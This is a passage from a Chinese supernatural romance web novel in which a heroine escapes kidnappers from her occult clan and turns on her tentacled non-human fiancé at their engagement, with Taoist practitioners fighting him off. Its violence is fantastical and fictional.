他没有计较短暂的躲避,亲吻了一下楚黎的发顶,温柔包容道:“好,回去休息。” 夜风吹散了浓烈花香。 觋楚脱下外套披在她身上,将人抱起离开观星台。 楚黎越过他的肩膀,望着精心布置的场地和鲜花,它们被留在了黑夜中。 * 他们在莫兰山庄住了三夜。 楚黎不得不承认,她在这里玩得很开心。 山庄里的娱乐设施太齐全,那些压抑的事,在马场上跑几圈,仿佛都随风消失了。 跑马的时候,觋楚会在休息区等她。 马场里没有一匹马愿意让他靠近,稍微近一些,马便瑟瑟发抖,四蹄发软。 俊美的男人安静坐在休息区,视线由始至终凝望着马匹上的身影,以及发自内心的灿烂笑容。 他看得很入神,觉得此刻的楚黎像是在发光,散发出来的鲜活生命力,令一直没被满足的饥饿感更加强烈。 沸腾的渴望在每一条血管里流动。 在发现有人也在看楚黎时,饥饿感变成了恐怖的独占欲。 路过的行人驻足欣赏了一会,忽然有种被盯上的感觉,扭头一看,休息区里站着一位穿西装的高挑身影。 他站在那,看不清面容,仿佛一道鬼影。 驻足的行人打了个冷颤,拉着同伴逃命似地跑了。 楚黎正好跑完三圈,牵着马走近,看见那几个逃命似的人,“那几个人怎么了,像见了鬼一样?” 觋楚的眼睛黏在她身上,用视线舔舐额间的汗珠,透着薄红的皮肤,以及亮晶晶的眼睛。 “不知道。”他从容摇头,“或许是有急事。” “傍晚要回市内,黎黎还有什么想玩的?” 这三天,楚黎几乎将庄园里的娱乐设施都尝试了一次。临近订婚日期,压力像丝线一样包裹着她,急需得到发泄的口子。 从马背上下来后,熟悉的焦虑感又来了。 她望向觋楚,虽然读取了霍修的记忆,但本质上他并不是人类,不了解人类的娱乐活动,这三天几乎都她在玩,他在旁边等,偶尔参与。 “带你去个地方。”她主动握住了他的手。 * 莫兰庄园有一片商业区。 霓虹灯光拼出“星际电玩城”五个大字,走入室内,冷气裹挟着电子音浪滚来。 踏入的瞬间,嘈杂的声音灌进耳朵。数百台极其同时发出电子音效,玩家兴奋尖叫,兑奖台的硬币哗啦啦坠落。头顶的镭射球灯旋转,五彩斑斓的光斑在地面游动。 觋楚不动声色皱眉。 他厌恶人类很多的地方,又吵闹又无趣。 楚黎拉着他前往兑奖台,兑了满满一篮子银币,塞到他的手中。 “我小时候最喜欢来电玩城,带你来体验一下。”来到熟悉的场地,她如鱼得水,穿梭在玩家之间,占据空闲的机器。 两枚银币投入,娃娃机亮起彩灯,楚黎操纵腰杆,唇角无意识翘起。 觋楚站在喧闹声中,注视她唇边的浅笑,神情柔和。 那些无趣的吵闹声,都因为她生动起来。 一阵欢快的音乐声响起,旁边传来几声羡慕的惊呼,雪白的垂耳兔玩偶占据了他的视野。 “战利品。”楚黎的脸从玩偶背后探出,笑眼弯弯,“我以前和桐桐经常玩,得罪了好多家抓娃娃店的老板。你要试试吗,很简单的。” 模拟出来的人类心脏狠狠颤动了一下。 “……好。” 觋楚一丝不苟复制了楚黎操作的流程。 抓夹气势汹汹夹住了空气。 “没事,第一次玩抓不到很正常。”楚黎目含鼓励,又投入两枚银币。 第二次、第三次、第四次…… 觋楚表情平静地捏住摇杆,它发出不堪重负的咯吱声。 “不能破坏设备!”楚黎眼疾手快将他按住。 两人挨得挤近,温热触感覆盖在觋楚的手背上,并握着他的手操纵摇杆。 “选这个,离出口近,不容易被甩下来……” 觋楚垂眼凝视,久久没有移开视线。 娃娃机亮起彩灯,一只小恶魔玩偶掉出。 “我刚刚说的你听见了吗?”楚黎捡起新的战利品,在他眼前挥了挥。 “学会了。” 楚黎半信半疑看着他又一次操作,抓夹颤巍巍夹起熊猫,一点一点往下坠。 眼看就要脱钩,阴影一闪而过,熊猫像被上了胶水,黏在抓夹上,最终乖乖掉进出口。 他如法炮制,不等楚黎从震惊中回过神,又迅速抓了好几只。 觋楚拾起一堆玩偶递来,从容道:“新的战利品。还要吗?” 他可以把所有都夹出来。 楚黎:“……” 接下来,她没再给觋楚作弊的机会,选的都是操作类游戏。 整个下午的时间,两道身影在游戏城穿梭,篮子里的银币飞快消耗。 角落里,有几台老式街机。 两人窝在小沙发上,屏幕上的像素小人正在疯狂格斗。 没一会,觋楚的屏幕出现“K.O”字样。 “黎黎真厉害。”他不厌其烦夸赞道。 每赢一局,楚黎就要听他夸一句。她启开一听可乐,冰凉的气泡填满胃部,酸酸涨涨。 “本来想带你玩,好像又变成让你陪我玩了。” “不,很好玩。”觋楚的眼里装满她的倒影,“我非常开心。” 饱胀的喜悦把他的心脏完全填满。 他认为,这是一段值得被珍藏的回忆。 “以后还能来吗?” 楚黎垂下眼,轻轻点头:“当然可以,以后有时间再一起来。” * 傍晚时分,车窗外的景色飞驰。 从莫兰庄园回到市内,需要走一段树木茂盛的小道。 楚黎坐副驾驶位,后座被战利品们占据。舒缓的音乐流淌,她的眼皮逐渐沉重。 一辆货车从另一侧驶来。 擦肩而过时,猛地调转方向! “轰——” 巨大的冲击力使车子失去方向,车内翻滚旋转,安全气囊和蠕动触手瞬间填充了所有空间。 楚黎清楚看见,觋楚的第一反应时扔开方向盘,护住了她。 “伏——!” 青铜铃音连绵不绝,头顶的小片天空顷刻暗了。 触肢像撕裂废纸一样绞断汽车金属架,觋楚抱着楚黎落地,漠然扫视黑暗里的几道影子。 地面浮起猩红纹路,如同活物呼吸般起伏。 楚黎接着车子燃烧的一点光,看见这些纹路正在绞杀吞噬潜伏在黑暗里的触肢。 五道影子沉默包围过来,脸上扣着傩面,谁也没有开口。 是楚家的人。 楚黎没想到他们居然还敢来。 上次已经足够惨烈了,他们难道都不怕死吗? 觋楚面容冷峻,态度强硬地将她按在怀里,隔绝了一切视线。 铃音、血肉撕裂声、黏腻的血液滴落声成了背景乐。 双方都一言不发,仿佛这种事在过去已经上演过无数次。 楚黎闻到的血腥气越来越浓,并且,是来自于觋楚身上的。 在四个人手持青铜铃,不要命地包围扑来时,觋楚被迫短暂放开楚黎。 一条红线缠住了她的腰。 黑暗里的裙摆像倒飞的风筝,楚黎的视线急速后退,终于看清了觋楚的状况。 无数黑色触肢将他簇拥,俊美的面容已经基本看不出人类的痕迹,脸上遍布幽蓝色的狭长裂口,好似生了无数只眼睛。 他的表情狰狞到近乎可怖。 触肢将阻拦他的其中一位楚氏族人砸入地面,变成面目模糊的血泥。 另外三人不为所动,继续阻挠。 楚黎终于落地,一只手捂住她的口鼻,诡异的香气钻入鼻子。 “楚小姐,想把你请出来真是很不容易。” 女人的声音冰凉滑腻,带着几分玩味。 “我说怎么召你的蛊没反应,原来是祂舍弃了部分力量,强行让蛊沉睡了。” “好啦,大傩很想见你一面,请跟我走。” 女人接住了软软倒下的身躯,将人塞入停在路边的车子,没再看身后的惨烈情况一眼,车身消失在夜色中。【你现在阅读的是 】 20-30 第21章 第二十一章 订婚 楚黎从黑暗中渐渐恢复意识。 她好似变成了泥塑, 睁不开眼,也动不了。 女人在旁边打电话,声音像隔了一层水膜传到耳内, 听不太真切。 “……人接到了。祂的分身丧失了一半力量,几个傀已经将祂绊住,我在回程路上。” 电话那头不知道说了什么, 女人冷肃的语气稍稍柔和。 “是啊。祭礼将至,如果一切顺利, 以后我们都能摆脱命运。” 谈话很快结束, 车内只剩冷风系统运作的声音。 随着时间流逝, 楚黎渐渐能感知到身体的存在。 她闭着眼, 尝试动了一下手指,身上很虚软, 想要与女人交手是不可能的。 只能积蓄力气, 用在最合适的时机。 隔着眼皮,她感知到光源在头顶, 且明亮柔和, 应该是车灯。外面还是黑夜, 说明距离被女人带走, 还没有超过十二个小时。 祂还活着吗? 脑海里无端跳出这个问题。 失去记忆前, 最后看见的场景清晰刻在记忆里。只要回忆, 浓郁到化不开的血腥味就扑到脸上。 狂乱的触肢、满地血肉、失去人类特征的面容…… 之前被捅了许多刀, 楚家人都拿他没办法。但这一次, 他明显虚弱了很多。 女人将她带走前说的话,楚黎还记得。 那天觋楚在楚家别墅找到她,面容有倦意,是因为帮她付出了代价吗? 楚黎心里涌起一股很复杂的情绪。 可当想起被触肢拍成血泥的人, 这种情绪被压了下去。 惹怒怪物的下场,就是这样。 那只温柔抚摸过她脸庞的手,随时都能捏碎她的脑袋。 不要再生出多余的情绪。 楚黎暗暗告诫自己,同时感受到身上的虚软感消失了大半,身体已经基本恢复了。 紧闭的双眼毫无征兆睁开。 车窗外,天色已经黑透,弯月高悬,低调轿车行驶在狭窄国道上。 一侧是山,一侧是防护栏。护栏下数米,未开发的森林郁郁葱葱。 开车的女人正是楚嵊的同伴,上次侥幸从觋楚手下逃脱。 她敏锐察觉到动静,扭头看来,目光讶异:“你竟然醒了——” 她的话被扑来的楚黎打断。 方向盘上多了一双手,楚黎面容沉静,眼里带了点破釜沉舟的厉色,狠狠往另一侧打到底! “你不想活了!”女人反应极快,用力往相反方向拧。 轮胎不停转向,在路上擦出白烟。 混乱间,车子彻底失去方向,女人及时松开了油门,它还是因为惯性,一头撞破护栏,直冲矮坡下的森林。 车身翻滚旋转,狠狠撞上粗壮树木那刻,楚黎的左手腕忽然一烫。 红绳铜钱褪去伪装,变成一根细细的黑色触肢。 它瞬间变得庞大,将楚黎完全包裹在内。 冰凉滑腻的触感包裹住每一寸身体,她感受到一阵巨大的冲击力。 “砰——!” 足足眩晕了几分钟,楚黎才恢复意识,后背又麻又冷,后怕涌上心头。 她刚刚在阎王面前走了一趟。 包裹她的黑色触肢逐渐软化,像失去活性般压在身上。 楚黎艰难解开安全带,手脚并用拨开冰凉柔软的物体,卡死的车门推不开,她从玻璃碎裂的车窗爬了出去。 小腿被玻璃划了一道伤,血刚涌出,伤口微微发痒。 她急忙撩起长裤,看见狭长伤口处的血肉在缓慢蠕动,正在自愈。 脑袋仿佛被狠狠砸了一击,头晕目眩。 楚黎恍惚去摸,只摸到一道浅浅的伤痕,很快,伤痕也消失了。 药…… 是之前觋楚给她吃的那些药,怪物的血肉,让她的身体发生了未知的变化。 难以言喻的恐慌笼罩在心头。 那她,还算是人类吗? 身后的车子侧翻在地上,车头完全凹陷下去,连安全气囊都破了。 她咽了一口唾沫,强迫自己先不去想,手脚发软挪到车的另一侧。 女人被安全带勒在驾驶位,双眼紧闭,头发濡湿一片,蜿蜒的血顺着额头流淌在脸上,胸口在轻微起伏。 “太好了……”楚黎大口喘息,声音喃喃。 她只是想摆脱楚家人,但不想真的杀人。 楚黎从主驾驶车窗探入小半个身体,艰难摸到了女人的手机,准备打电话报警。 手机的屏幕碎得像车窗玻璃,无论怎么按开机键都没反应。 “……” 水逆什么时候才能结束? 她麻木地扔掉手机,踉踉跄跄寻找离开的方向。 树木如伞盖,遮蔽了月光,森林里几乎伸手不见五指,楚黎艰难辨认地上车子滑行过的痕迹,跌跌撞撞跟着走。 疲惫加上饥饿令她走几步就眩晕一会。 “呼呼……”楚黎扶着大树喘气。 细微的、枯枝落叶被碾压的声音从身后不远处传来。 楚黎惊疑不定回头,一团火光倒映在眼中。 女人掌心托着一团燃烧火焰,映照着惨白的脸色和蜿蜒血痕,如同阴曹地府爬出的女鬼。她另一只手握着青铜铃,唇角凝出冷笑:“是我小瞧你了,没想到还有点狠劲在身上。” “楚家好心,多次派人来救你,不识好歹的白眼狼,和你的母亲一个德行!” 幽微铃音在森林回荡。 尖利的剧痛在脑子里炸开,铃音如同利刃,在脑袋里乱搅。楚黎瞬间被抽干力气,倚着树干滑到在地上。 她呼吸急促,生理性眼泪模糊了视线,勉强睁着眼,看女人一步步走来。 “救我……你们明明有别的目的……别把话说、说得这么好听……” 女人掐住楚黎的脸,目光厌恶道:“那又怎样?你该庆幸自己还有用,不然我现在就弄死你!” 铃音停止,楚黎浑身被冷汗浸湿,长发凌乱贴在脸上。 她闭了闭眼,忽然张口咬住女人的虎口。 这一口力度很重,几乎是马上见血,女人下意识松手,紧接着被楚黎用尽全力一推,夺走青铜铃,反手往她头上一敲,跌跌撞撞往前跑。 “咚”一声闷响,敲得女人眼前发黑:“该死的!” 楚黎握住青铜铃,拖着虚软的腿竭尽全力往前跑,喉咙像吞了一把玻璃渣,喘气时火辣辣疼。 与楚家人打了几次照面,她已经深知对方不是良善之辈。 这个神秘的家族与觋楚的气质很像。 对生命态度凉薄,完全无视法律和道德,一点也不像现代社会的人。 无论他们有什么目的,如果落到对方手里,绝对没有好下场。 楚黎不想做砧板上的鱼,跌跌撞撞往前又跑了几步,惨白月光照亮了前路。 前面是车子滚落下来的地方。 矮坡大约五六米,不算很陡,可对现在的楚黎来说比登天还难。 她咬紧牙关,扒着矮坡裸露的石头借力,拼了命往上爬。 国道上可能会有车经过,只要爬上去,就有求援的希望。 快,再快一点…… 心脏跳得又重又急,手指扒住新的石头,指甲泛白,手臂脱力不受控制地颤抖。 忽然间,头皮剧痛。 女人的身体素质异于常人,普通的伤害对她来说不起太大作用。她愤怒喘气,拽着楚黎的头发摔倒地上,单膝压住胸腹,手指像铁钳掐住纤白脖子。 楚黎后背剧痛,脖子几乎要被掐断。 女人语气冰冷:“大傩只说把你活着带回去,断手断脚也算活着。” 楚黎的手臂传来剧痛,她逐渐喘不上气,瞳孔因疼痛涣散。 “噗呲——” 手臂和喉咙同时失去桎梏。 “咳、咳……!”楚黎咳得眼眶通红,泪水打湿睫羽,模糊对上女人那双失去焦距的眼睛。 碗口粗的触肢从心口穿出,几滴温热的血落在楚黎身上。 女人被触肢粗暴拽走,变成一滩黏腻的血肉。 似人非人的青年半跪在楚黎面前,深色西服被血浸透,冷白面容上有几道幽蓝的狭长缝隙,如同半睁的眼眸。 “黎黎……” 修长的手缓缓抚摸她的脸庞,拭去睫毛上的泪。 楚黎注意到,他的手指在颤抖。 随着擦拭,眼泪越来越多,怪物的心脏好像被无形的手捏碎,痛到几乎失去理智。 暴虐杀意在血管里流窜。 觋楚压制住暴怒的触肢们,不想再惊扰眼前的人。轻轻揽住楚黎,保持着一定距离,轻抚她的脊背,声音尽量轻柔:“黎黎,没有下次了,我不会再让他们出现在你面前。” 下一刻,温热柔软的身躯扑到了他怀里,如溺水者抓住浮木。 从死亡边缘逃脱后,被暂时遗忘的恐惧感加倍涌上心头。 眼泪掉在觋楚的颈侧,他感到一阵灼烧般的疼痛。 “回家……”楚黎声音很低,“觋楚,我要回家。” * 莫师傅是夜车司机,他送完客人,回程时经过一段偏僻国道,看见路边有人拦车。 一位西装革履的高大青年,怀里抱着位看不清面容的女性。 这个时间,出现在这样偏僻的地方,莫师傅想起某些灵异传说,减缓车速打算开近看一眼是不是人。 出租车开近,两束车灯照在青年身上,将非人面庞照得清清楚楚。 “鬼啊——!!”莫师傅猛踩油门,车子却忽然熄火刹死在原地。 高大身影转瞬到了眼前。 他抱着楚黎上车,报出位于海市乐阳区的地址。 莫师傅对上那对漆黑瞳孔,身体自发动起来,重新发动汽车,朝着地址前进。 透过后视镜,他看见青年坐过的地方,漫出猩红的颜色。 车里开着提神的DJ音乐,全是上了年代的情歌。他眼睁睁看着一条黑色触肢无声无息探过来,精准关闭了音响。 车里只剩莫师傅的恐慌的呼吸声。 三个小时的车程,像开了一辈子那么长。 出租车开到一栋复式小楼面前,觋楚抱着楚黎下车,触肢卷过座位,血迹像是不曾存在过。 莫师傅像雕塑一样僵硬,目送着乘客进屋,身体被控制的感觉忽然消失。 他颤巍巍摸了一根烟,点了四五次才点着。 车后座干净如新,只留下了一叠红色纸钞。 出租车逃命般开入夜色里。 * 觋楚抱着楚黎上楼,一垂眼,对上那双漂亮麻木的眼睛。 她一直没睡,也没再说过话,只是呆呆睁着眼睛,视线不知道落在何处。 “黎黎,我帮你洗澡,好吗?” 仍是沉默。 觋楚将她抱到浴室的洗手台上,镜面映出他终于恢复正常的脸庞,触肢熟练地为浴缸放水。 他换了一身干净衣服,开始帮她洗澡。 纤白的身体抱着腿坐在浴缸里,头伏在膝盖上,对觋楚的动作没有半点反应。 之前受的伤已经完全愈合,找不到半点伤痕或者淤青。 浴室里水声哗哗,温热水流冲洗长发。 这一次,觋楚洗得沉默快速。 楚黎任由他帮忙擦干身上的水珠,再换上柔软睡衣,然后被抱到床上。 觋楚从身后拥住她。 “晚安,黎黎 。”轻柔的吻落在乌发间,“订婚日期往后推迟,你好好休息一段时间。” 卧室灯熄灭,微弱天光透过窗帘缝隙,窗外的鸟儿已经醒来,开始啾啾啼叫。 漫长的一夜终于过去了。 楚黎也做出了抉择。 “不推迟,正常举行。”她握住觋楚环在腰间的手,声音轻得好似呓语,“对不起。” “黎黎?” 楚黎没有打算解释,这一夜已经耗尽了体力,只摇了摇头,闭眼沉沉睡去。 * 订婚仪式如期举行。 地点安排在楚家别墅,在草坪上举行。 天公不作美,阴云堆积在天空,光线略微暗沉。 前来观礼的人不多,除开策划团队,只有六人。其中辛桐充当摄影师,还有三位是楚黎在学校关系比较好的本地同学。 迎宾区鲜花簇拥,最后到的是一位清瘦女人,打扮简朴,带着位面容娇俏的年轻女孩。 年轻女孩四处张望,在人群中捕捉到楚黎的身影,看得一呆,随后热情招手。 楚黎身着缎面鱼尾礼服,双手戴洁白手套,长发盘起,雪白头纱盖住光洁脊背。 她与觋楚挽手候在一侧,等待仪式开始。 看见明纯与明菩的身影,眼眶微微一热,压住情绪,眉眼弯弯回以笑容。 觋楚的视线掠过两人,这是两张完全陌生的面孔,从霍修身上读取的记忆里,也没有这两人的痕迹。 “黎黎,她们是?” “我母亲的至交菩姨和她家的孩子,我以前在她们家住过好一段时间。” 策划团队的主持人有条不紊组织宾客入席,并告知仪式即将开始。 浪漫悠长的音乐响起。 觋楚的心完全被喜悦填满,注视着她漂亮姣好的侧颜,浅淡的疑惑被完全抛到脑后。 宾客席分列两侧,中间留出一条被雪白铺满的的道路。 主持人笑容满面,请两人上前。 楚黎挽着觋楚,一步步向前。他今日换了一套黑色礼服,腕间点缀一支手表,胸前佩戴红宝石胸针。与她站在一起,分外相衬。 纷纷扬扬的花瓣随着他们前行洒落,辛桐站在一侧,不断按下快门。 接下来的流程顺利地不可思议。 每一位宾客与工作人员都面带微笑,不断鼓掌。 最后一步,是交换对戒。 浪漫的乐曲到了最高昂的时刻,觋楚托起楚黎的手,小心翼翼将对戒戴入中指。 楚黎借过工作人员递来的另一枚对戒,握住了觋楚的手。 两人无声对视,目光纠缠。 觋楚笑容渐深,微微挑眉,像是无声的催促。 “噗呲!” 一滴殷红溅到楚黎的耳垂上,将珍珠耳饰染红。 刻有道家符文的木剑从背后轻易穿透觋楚的心口,鲜血汩汩,顺着剑尖滴落,浸湿了纯白无暇的手套。 钻戒淬了血,越发夺目。 觋楚的面庞蠕动着,仿佛有什么可怖的事物要撕裂皮囊。他维持住温文尔雅的表情,拽住楚黎的手,强迫她,将那枚对戒套进他的中指。 声音缓慢,含了点浅笑道:“很好,第二次背叛。” 第22章 第二十二章 私有 “轰隆——” 闷雷在阴云中翻滚。 木剑抽离, 明菩站在觋楚身后,手指翻飞掐诀,唇间无声念诵。 狂风平地起, 桌椅背景板东倒西歪,漫天雪白花瓣纷纷扬扬。 明纯从身后揽住楚黎,同样手持木剑, 剑势凌厉迫使觋楚松手。 楚黎侧头,记忆里的玩伴五官比从前舒展, 面上的神态有几分师父的模样。 在好多天前, 辛桐已经告诉她, 明微道长请来的高人是明菩与明纯。 明菩是明微道长的师姐, 也是现在罕有的,道法高深之辈。楚黎从前戴的铜钱, 就是她给的。 浸了血的手套滑腻, 纵使觋楚死死攥住,那只手还是一点点从他掌中脱离。 只剩一副手套留在手中。 戒指掉落下来, 浸在血泊里。 “师叔!”明纯大喊一声, 匆匆将楚黎推走, 转身提剑拦下狰狞涌动的触肢。 整座订婚场地狼藉不堪, 漂亮花束被踩碎, 宾客与工作人员仍然留在原来的位置, 保持着微笑与鼓掌动作。 觋楚所在的位置已经被浓郁黑雾笼罩, 畸变扭曲的触肢狂乱挥舞, 将几位宾客砸入地面。 术法失效,刚才还是活人的宾客变成了五官栩栩如生的纸扎人,被拍成一团废纸,皱巴巴被风吹走。 靛青道袍身影从一旁蹿出, 护着楚黎撤离斗法中心。 “明、明微道长……”她单手提着鱼尾裙,仓促跟着明微朝院子大门外跑,“菩姨和小纯真的能对付祂吗?” 觋楚杀楚家人的场景印象太深刻,楚黎不愿相识的人因她受伤。 明微还是之前的打扮,花白的头发盘成道髻,表情严肃:“祂如今分身虚弱,师姐与师侄应能一战。这里不宜久留,先离开!” 那边,两方缠斗激烈无比。持剑身影在浓郁黑雾里若隐若现,明纯已经负伤。觋楚彻底撕裂人类皮囊,化作似混沌的黑雾。 明菩以剑引雷,紫电悍然劈落,触肢炸开大片血雾。 含混冰冷的声音从黑雾中央传出:“又、是、你。多管闲事的人类!” 触肢暴虐甩开明纯,缠住明菩的脖子。 明菩的颈骨发出不堪重负的响声,反手斩断触肢,沉静道:“她对您无意,请不要再纠缠。” 怪物大笑起来,阴恻恻、扭曲癫狂。 “无信无义的人类,我予她生命,赠她庇佑。” “楚家将她献于神,命运已注定。” 最后一句语气冰凉,如同诅咒。 明菩脸上浮现出几分悯然,轻叹一声,拽下手腕檀木珠串,一百零八颗木珠甩出,落地铸成金光流转的法阵。 “起阵!” 随着一声清喝,明纯擦掉唇边的血,一骨碌爬起来,迅速就位。 “玉枢号令,星行雷起,布炁行神,化作微尘!”雷云涌动,明菩在狂风中屹立,一剑挥下,“雷起——” “轰隆!” 震耳欲聋的雷声与璀璨紫电在院中炸开。 楚黎在踏出院门前,鬼使神差回头望了一眼。 一道阴森可怖的视线钉在她身上,她在雷声中听见觋楚一字一句道: “黎黎……我们会再见的。” 再次见面时,祂会让她好好饱尝叛神的后果。 * 辛桐停了一辆大奔在楚家别墅门口。 天上的云层厚重到遮蔽光线,暗得可怕,紧闭的院子大门内听不见半点声音。 她急得不停转圈,转到头晕眼花时,大门终于打开。 明微护着白礼服染血的楚黎匆匆走出。 “辛小姐,快开车!” 大奔迅速启动,楚黎扒在车窗上,看着逐渐远去的楚家别墅,心里的不安与焦急不曾减少。 辛桐同样担心:“明微道长,两位道长真能对付祂吗?” “莫急。我师姐道法高深,又祭出法阵,祂已不占上风,不会有事。” 楚黎:“道长,我听见祂对菩姨说‘又见面了’,他们以前见过?” “这我就不知了。师姐喜欢四处游历,或许机缘巧合下见过?”明微沉思片刻,“说起游历,我想起十多年前,师姐夜半出门,走得很急一句话也没留。回来的时候,伤得很重,养了差不多半年才恢复。我问遇到了什么事,她只说是很棘手的存在。也许就是在那时碰见的。” “十多年前……”楚黎下意识重复,“具体是多少年前?” “这……大约是十八或十九年前吧。” 楚黎在十八年前,四岁时生过一场重病,生病前的事忘得干干净净。从那以后,她手上就多了一枚红绳串的铜钱,父母千叮万嘱不许离身。 时间恰好对上,那菩姨十八年前夜半出门,会不会与她有关? 以及,觋楚说“楚家将她献于神”,再结合之前他讲的“孩子迷路”的故事,隐隐的猜测浮现在脑海里。 父母极有可能在她生重病时带她回过楚家,中途不知道发生了什么变故,使她与楚家供奉的神明产生关联。但她的父母不可能会将孩子献给神,大约是带着她逃出来了。 所以,从她有记忆开始,父母就带着她和姐姐不停搬家。 父母的意外离世,会与觋楚有关吗? 他们是否被神明迁怒,所以丢了性命,她也在一夜之间,成了孤儿。 楚黎的身体因这个猜测颤抖,牙齿咬得咯咯作响。 如果,如果她的父母去世另有原因,无论凶手是谁,她都要向对方讨回同等的代价。 如今只有猜测,没有事实依据,想知道真相,只能问明菩。 楚黎只能强迫自己耐心等。 胸前溅的血渐渐干涸,它不曾氧化,像红山茶图案印在缎面礼服上。 甜腥黏腻的气味散不掉,紧紧将她缠绕。 大奔行驶在高速上,暮色四合,天渐渐暗下来。 最后一缕夕阳没入地平线,明微的手机嗡嗡震动。 接通之后,电话那头的明菩只说了一句话—— “解决了。一切安好,不用担心。” 车内紧绷了数小时的气氛终于松懈,楚黎怔怔望着车窗外。 结束了。 她终于摆脱了那只怪物。 太多情绪涌上心头,楚黎眼眶盛泪,呢喃道:“结束了……” “对,结束了!”辛桐甩了甩僵硬的脖子,眼角眉梢都是笑,“道长,黎宝以后就安全了吧?” 明微苦笑:“还有楚家人呢,虽然不知道在打什么主意,按他们的行事作风,不会轻易罢休。” “不过师姐能庇护楚小姐,避一避风头,过几年说不定他们就放弃了。” 辛桐从明微口中了解过这个神秘的傩师家族,知道这是一群目无法纪的危险分子,唉声叹气:“这都是什么乱七八糟的。道长,你们有没有能转运或者改命的符啊?” 明微摇头:“俗话说,天机不可泄露。人这一生所经历的,大多注定,极少数人能看破命运改变轨迹。即使改了,也未必是好事。” 辛桐的好心情烟消云散。 回想起楚黎跌宕坎坷的人生,很轻地嘟囔:“凭什么啊。” 她的好友,为什么就不能拥有安稳幸福的人生? 楚黎伸手戳了戳辛桐,抿唇笑起来,颊边浮出一个笑涡:“干嘛,心疼我倒霉?” “可是我有你们啊。有你、菩姨、小纯、明微道长。这么危险的事,你们一直在帮我,我这还不算幸运吗?” “我不相信命运这种虚无缥缈的说法,命握在自己手里,以后会经历什么,都是我的选择,没什么好怕的。” * 高矮不一的居民楼从窗外掠过。 车子驶入小城,在汽车站外停下。入夜时分,车站外的广场聚满了招揽客人的面包车司机。 为了避免与楚黎扯上太多联系,被楚家人盯上,辛桐只把他们送到这。 楚黎在路上的服务站换了衣服,戴着鸭舌帽,打扮低调。 路边的大排档支起桌椅,露天烤炉上的肉串滋滋冒油,香气一个劲蹿进鼻子。 辛桐吸了吸鼻子,状似轻松调侃:“不行了,一闻到这个味,我就想起莲姨烧烤,咱们好久没去吃了。等你回来,和我一起去吃。” “好。”鸭舌帽下的目光温柔,楚黎上前抱住她,“等我回来。” 她们没再开口,沉默用力抱住对方。 黑色大奔调转方向,缓缓驶离这座小城。 * 江南的夏雨不似海市滂沱,雨势细密绵长,雾气盘绕青山。 雨珠如帘,顺着屋檐滴到水缸里,砸得碗莲下的红鱼四处游动。 屋檐下摆了两张藤椅和一张木桌,楚黎与明纯并头凑在一块,提着毛笔写写画画。 “哇,学得好快,才五天就入门了!”明纯拿起楚黎画的符篆,啧啧称叹,“小黎,你很有修道的天赋,不如跟着师父修行吧。练到我这个水平,楚家人就不敢随便找你麻烦了。” 楚黎仰头望天井,远处青山环绕。 “小纯,你是几岁开始修道的?” “五岁,从师父捡到我之后就开始修道了。” “那我不是要修十多年,才能练成一身本事?” “你嫌时间长啊。”明纯咯咯笑起来,“你不知道,修十多年能到这个水平,已经非常厉害了。而且这里山清水秀风景好,你不喜欢吗?” 楚黎注视她纯澈的眼眸,也笑起来:“喜欢,这里很好。” 青山上几乎没有电子设备,除了一台座机。 两人在屋檐下打发了大半日时间,午后闲得坐不住,披了雨衣到外面的小池塘捞鱼虾。 雨丝飘到脸上,呼吸着湿润的空气,楚黎暂时将所有烦恼抛下。 她们玩得很疯,拖着淅淅沥沥的泥水回来。 明微正要烧火做饭,看见两只泥猴,两眼一黑。 “你呀你。”他指着明纯,“等你师父醒来,非罚你抄十遍书。” 明纯做了个鬼脸,把捞到的鱼虾塞给明微,“不会的!师傅没那么快醒,等洗完澡,我就把地板洗干净。师叔,做成椒盐口味的,小黎喜欢吃。” 楚黎眨了眨眼:“多谢道长。” 两人风一般跑了,留下满地泥水和唉声叹气的明微。 痛痛快快洗完热水澡后,厅堂亮起灯,椒盐的香味飘得很远。 明纯挽着楚黎,高高兴兴走入:“好香好香,今晚的菜一定好……” 饭桌上已经坐了两个人。 明菩略带病容,神情平和,投来一瞥:“忙了一下午,快来吃饭吧。” 这一顿饭吃得略显沉默。 平时谈天说地的明纯缝起嘴巴,吃得坐立不安。 偏明微还打趣她,往她碗里夹去鱼虾,笑眯眯说:“来,多吃点,这是你和黎小友辛苦捞回来的。” 楚黎吃完一顿饭,憋笑憋得肚子疼。 明纯闷头吃完,嚷着院子里有点脏,要去扫一扫,溜得飞快。 楚黎帮着收拾了碗筷,回到厅堂时,明菩坐在八仙椅上,正在翻阅她们下午写过的符篆。 明菩淡淡一笑:“有天分,不如跟着我修行?” 躲雨的飞虫绕着电灯飞舞,屋外雨声淅沥。 “菩姨,我想知道我爸妈到底是为什么去世的,您为什么处处照拂我?” 明菩端详着那张相似的面容,叹了口气:“小黎,人活在世难得糊涂。你母亲最大的心愿,就是你平安健康生活。你一定要知道吗?” 楚黎点头:“是,我一定要知道。” “那就说来话长了,坐下听吧。” * 明菩自小修道,十六岁开始云游,那年她遇到了楚若羡。 那时,她追一只杀人越货的巫傀追进十万大山深处,惊动巡山的楚家人,惊天动地打了一场,对方人太多,她负伤躲在山中洞窟。 山中每天都有楚氏族人巡山,搜寻闯入者的踪迹。 某日,巡山的领队是位少女,穿黑色华服,腰配傩面,面容冷淡姣好。 她瞥向明菩藏身的洞窟,面色淡淡转身,领着同族离开。 小半日后,她独自前来,在洞窟门口留下伤药、食物以及水源,一言不发离开。 这样的善意持续了一周。 第七日,她放下带来的东西,开口说了第一句话:“祭礼将至,要封山了,你快点离开。” 少女说完就走。 明菩拨开洞口的干草,忍痛追了两步:“多谢你的照顾,我还不知道你的名字,为什么要帮我?” “楚若羡。”她侧身回望,没有回答第二个问题,反而问道,“外面的世界,是什么样子?” “外面的世界?你一直生活在山里?” “嗯。” 两位少女坐回洞窟。 明菩介绍了自己的名字和来历,然后讲述了很多大山之外的事情。 楚若羡听得认真入神,偶尔提出疑问,比如“飞机为什么能在天上飞”“麦当劳是什么”。 一直说到林子暗下来,说到明菩喝光了她带来的水。 说了许多,楚若羡对明菩口中金灿灿的炸鸡产生了浓厚兴趣。 “这是我的联系方式。”明菩用符纸写下地址和电话,“等你能下山了,来找我,我带你去吃麦当劳。” 楚若羡将符纸珍重叠好收下,遮住眼中落寞:“我终身不能下山。” “为什么?” “因为我是这一代的小傩,将来要继承大傩的位置。要侍奉神明,不能离开大山。”楚若羡抿唇笑了一下,“谢谢你,我该回去了。” 明菩感受到她平静之下的不甘,看着她离开的背影,忽然道:“你有没有想过,离开这,去过自己想要的生活?” 楚若羡脚步一顿,没有回头。 